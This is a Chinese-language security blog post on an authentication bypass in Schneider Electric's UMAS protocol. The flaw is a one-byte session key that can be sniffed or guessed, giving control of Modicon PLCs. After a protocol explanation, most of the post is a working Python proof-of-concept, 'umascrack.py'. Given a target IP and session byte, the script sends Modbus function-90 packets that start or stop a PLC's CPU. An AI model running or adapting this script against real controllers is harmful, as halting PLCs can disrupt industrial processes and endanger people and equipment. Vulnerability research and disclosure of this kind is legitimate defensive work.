施耐德通信协议UMAS认证绕过

 1、漏洞描述

施耐德电气公司的UMAS协议中的严重的安全漏洞。 UMAS协议由于协议会话密钥设计不良,仅一个字节长度(256种可能性),导致攻击者轻松猜测会话密钥,甚至可以嗅探。使用会话密钥,攻击者能够完全控制控制器,读取控制器的程序并用恶意代码重写。勒索软件ClearEnergy影响了世界上最大的SCADA和工业控制系统制造商的大量PLC型号。这包括Schneider Electric Unity系列PLC和2.6版及更高版本的Unity OS,其他领先供应商的PLC型号包括GE和Allen-Bradley(MicroLogix系列),这些产品也被发现易受勒索软件攻击的破坏。

目前,施耐德电气已经证实,Modicon系列PLC产品容易受到攻击,并发布了重要的网络安全通知(SEVD-2017-065-01)。国土安全部(ICS-CERT)也发布了一项重要的通告。

通过漏洞,黑客访问工业控制网络可以拦截目标PLC数据,包括向设备发送管理命令所需的会话密钥。一旦获得明文传输的会话密钥,黑客即可重复请求并添加任意命令,包括启动和停止PLC,更改控制逻辑,以及下载梯形图。此漏洞攻击可能被利用到勒索攻击中,黑客以擦除PLC梯形图作为要挟,向企业索取赎金。

 

受影响设备型号

  • Modicon全系列
  • M340
  • M580
  • Premium
  • Quantum

(Unity OS 2.6版以及更高版本)

 

 

2、UMAS协议

UMAS 表示统一消息传递应用程序服务,它是用于交换应用程序数据的平台独立协议,通信数据使用标准的Modbus协议。

Modbus是Modicon公司在1979年开发的基于消息结构的协议,最早是为Modicon 公司的PLC中使用,后为施耐德电气公司所有。Modbus协议是现今使用的最早和应用最广泛的工业控制系统协议之一。Modbus协议是用于和现场控制器通信的应用层协议。由于它的普及程度,大多数现场控制器都支持Modbus。然而和大多数协议不同,Modbus用于控制命令和设备级通信。Modbus没有定义特定的物理层,这样Modbus的实现不局限于某种通信媒介。工程师可以自由选择最适合的物理介质- 租用线路,专线,射频传输或微波等来传输Modbus数据包。

和很多控制协议一样,Modbus没有包括任何加密机制,尽管它有循环冗余校验(CRC , Cyclical Redundancy Checks) 进行完整性检查。CRC是一种在工业控制系统中常用的验证方法,以检查数据在传输过程中是否有改变。

Modbus共有三种工作模式:Modbus/ASCII,Modbus/RTU,和Modbus/TCP。它们在封装方式上有一些微小的差别,随着以太网的普及,Modbus/TCP 越来越被广泛地使用,下图就是 Modbus/TCP 在协议栈中的位置和封装示意图。

 

UMAS协议数据格式,如下图所示:

其中Session Key是会话使用的Session值,如果Session值不正确,直接终止通信。FCcode是Modbus协议的功能码,施耐德默认使用0x5a即90作为通信的功能码。下图是Modbus协议标准的功能码。

 

3、漏洞分析

通过我们工控安全实验室的实际环境(Sichneider Quantum系列)截取的数据包如下图所示,可以获取通信的Seesion是0xb8:

 

利用获取的Session通过任意一台电脑可以发送控制CPU启停的命令以及程序上下载如下图所示:

使用Session发送Stop数据包后控制器Cpu进入Stop状态,如下图所示:

3、POC脚本

#!/usr/bin/env python

import socket

import array

from optparse import OptionParser

import sys

import struct

 

 

def banner():

info = ”’……………………………………………….

(__)

(oo)

/——\/ —— V1.0 by ICSMASTER ——

/ |    ||

*  /\—/\

~~   ~~

…. Good Luck for you today …….

……………………………………………….\r\n”’

print info

 

def usage():

MSG_USAGE = “umascrack.py [-t <ip>] [-s <session>] [–start/–stop]”

parser = OptionParser(MSG_USAGE)

parser.add_option(“-t”, “–target”, dest=”target”, default=False, help=”The target of umas.”)

parser.add_option(“-s”, “–session”, dest=”session”, default=””, help=”The session of umas [0-255].”)

parser.add_option(‘–start’, action=’store_true’, dest=’cmd’, default=False, help=’The message of start cpu.’),

parser.add_option(‘–stop’, action=’store_false’, dest=’cmd’, help=’The message of stop cpu.’),

(options, args) = parser.parse_args()

 

if not options.target or not options.session:

parser.print_help()

sys.exit(1)

 

if int(options.session) > 255:

parser.print_help()

sys.exit(1)

 

return options

 

def generate_packet(payload):

rsid = “”

# MBAP array

rsid = array.array(‘B’)

rsid.fromstring(“\x00\x00\x00\x00\x00\x02\x01\x01”)

#set unit id

rsid[6]=1

#set function

rsid[7]=90

# DATA array

packet_data = array.array(‘B’)

packet_data.fromstring(payload)

# add data and update data length

if (packet_data):

rsid += packet_data

#update length

rsid[5]=len(packet_data)+2

print “[+] building packet data: “+str(packet_data)

 

return rsid

 

 

def attack(para):

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(float(500) / float(100))

s.connect((str(para.target), 502))

except socket.error:

print “[!] FAILED TO CONNECT”

return

 

key = struct.pack(‘<B’, int(para.session))

start = key + “\x40\xff\x00”

stop = key + “\x41\xff\x00”

packets = []

if para.cmd:

packets = [start]

else:

packets = [stop]

 

try:

print “[+] Sending remote commands…\r\n”

for packet in packets:

rsid = generate_packet(packet)

print “[+] Sending packet: “+str(rsid)

s.send(rsid)

except socket.error:

print “[!] FAILED TO SEND”

s.close()

return

s.close()

print “[*] Command sent to target.\r\n\r\n”

 

def main():

banner()

attack(usage())

 

if __name__ == ‘__main__’:

main()

 

原创作者:icsmaster,转载请注明来自 工匠安全实验室

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

18620368203

在线咨询:点击这里给我发消息

邮件:[email protected]

QR code